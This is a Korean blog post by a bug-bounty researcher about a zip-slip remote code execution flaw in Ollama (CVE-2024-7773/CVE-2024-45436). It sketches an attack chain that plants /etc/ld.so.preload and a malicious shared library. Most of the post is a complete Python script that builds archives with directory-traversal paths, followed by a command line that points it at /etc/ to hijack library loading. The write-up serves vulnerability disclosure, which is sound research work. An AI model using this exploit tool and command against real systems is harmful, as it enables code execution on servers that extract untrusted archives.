ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • CVE-2024-7773/CVE-2024-45436 in Ollama
    Bug Bounty 2024. 10. 8. 00:13

    Remote Code Execution via Zipslip

    https://huntr.com/bounties/aeb82e05-484f-4431-9ede-25a3478d8dbb

     

    huntr - The world’s first bug bounty platform for AI/ML

     

    huntr.com

     

    zipslip -> create /etc/ld.so.preload(/etc/vuln.so in content) AND /etc/vuln.so -> generate new process -> sprintf() hooked -> RCE

     

     

     

    이상하게 꼬여서 같은 취약점에 CVE 두개 발급됨..

     

    더보기

    #!/usr/bin/env python3
    #
    # Copyright (c) 2009, Neohapsis, Inc.
    # All rights reserved.
    #
    # Implementation by Greg Ose and Patrick Toomey
    #
    # Redistribution and use in source and binary forms, with or without modification,
    # are permitted provided that the following conditions are met:
    #
    #  - Redistributions of source code must retain the above copyright notice, this list
    #    of conditions and the following disclaimer.
    #  - Redistributions in binary form must reproduce the above copyright notice, this
    #    list of conditions and the following disclaimer in the documentation and/or
    #    other materials provided with the distribution.
    #  - Neither the name of Neohapsis nor the names of its contributors may be used to
    #    endorse or promote products derived from this software without specific prior
    #    written permission.
    #
    # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
    # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
    # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
    # ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
    # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

    import sys
    import zipfile
    import tarfile
    import os
    import argparse

    def main(argv=None):
        parser = argparse.ArgumentParser(
            description='Create archive containing files with directory traversal',
            prog='evilarc',
            epilog='Supported extensions for output archive: zip, jar, tar, tar.bz2, tar.gz, tgz'
        )
        parser.add_argument('input_files', nargs='+', help='Input files to include in the archive')
        parser.add_argument('--output-file', '-f', dest="out", default="evil.zip",
                            help="File to output archive to. Archive type is based off of file extension. "
                                 "Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.")
        parser.add_argument('--depth', '-d', type=int, default=8,
                            help="Number of directories to traverse. Defaults to 8.")
        parser.add_argument('--os', '-o', dest="platform", choices=['win', 'unix'], default="win",
                            help="OS platform for archive (win|unix). Defaults to win.")
        parser.add_argument('--path', '-p', dest="path", default="",
                            help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\")

        args = parser.parse_args(argv)

        output_file = args.out
        input_files = args.input_files

        # Determine parent directory and adjust path separator based on platform
        if args.platform == "win":
            parent_dir = "..\\"
            if args.path and not args.path.endswith('\\'):
                args.path += '\\'
        else:
            parent_dir = "../"
            if args.path and not args.path.endswith('/'):
                args.path += '/'

        # Determine archive mode based on extension
        ext = os.path.splitext(output_file)[1].lower()
        if ext in ['.zip', '.jar']:
            mode = 'a' if os.path.exists(output_file) else 'w'
        elif ext in ['.tar', '.gz', '.bz2', '.tgz']:
            if ext == ".tar":
                mode = 'a' if os.path.exists(output_file) else 'w'
            elif ext in ['.gz', '.tgz']:
                mode = 'a' if os.path.exists(output_file) else 'w:gz'
            elif ext == ".bz2":
                mode = 'a' if os.path.exists(output_file) else 'w:bz2'
        else:
            sys.exit(f"Could not identify output archive format for {ext}")

        # Open the archive once
        try:
            if ext in ['.zip', '.jar']:
                with zipfile.ZipFile(output_file, mode, zipfile.ZIP_DEFLATED) as zf:
                    for fname in input_files:
                        if not os.path.exists(fname):
                            print(f"Warning: '{fname}' does not exist and will be skipped.")
                            continue
                        zpath = parent_dir * args.depth + args.path + os.path.basename(fname)
                        print(f"Adding '{fname}' as '{zpath}' to {output_file}")
                        zf.write(fname, zpath)
            elif ext in ['.tar', '.gz', '.bz2', '.tgz']:
                with tarfile.open(output_file, mode) as tf:
                    for fname in input_files:
                        if not os.path.exists(fname):
                            print(f"Warning: '{fname}' does not exist and will be skipped.")
                            continue
                        zpath = parent_dir * args.depth + args.path + os.path.basename(fname)
                        print(f"Adding '{fname}' as '{zpath}' to {output_file}")
                        tf.add(fname, zpath)
        except (zipfile.BadZipFile, tarfile.TarError) as e:
            sys.exit(f"Error creating archive: {e}")

    if __name__ == '__main__':
        main()

     

    # e,g, python evil2.py vuln.so ld.so.preload --output-file poc.zip --depth 10 --os unix --path /etc/

    'Bug Bounty' 카테고리의 다른 글

    CVE-2023-50718 in nocoDB  (0) 2024.05.14
    CVE-2023-50717 in nocoDB  (0) 2024.05.14
    KISA 2023 TOP 10  (2) 2024.02.20
    [KISA] FastStone v7.4 Stack Buffer Overflow  (3) 2020.11.29
    [KISA] PicPick v5.0.7 Stack Buffer Overflow  (1) 2020.11.29

    댓글

Designed by Tistory.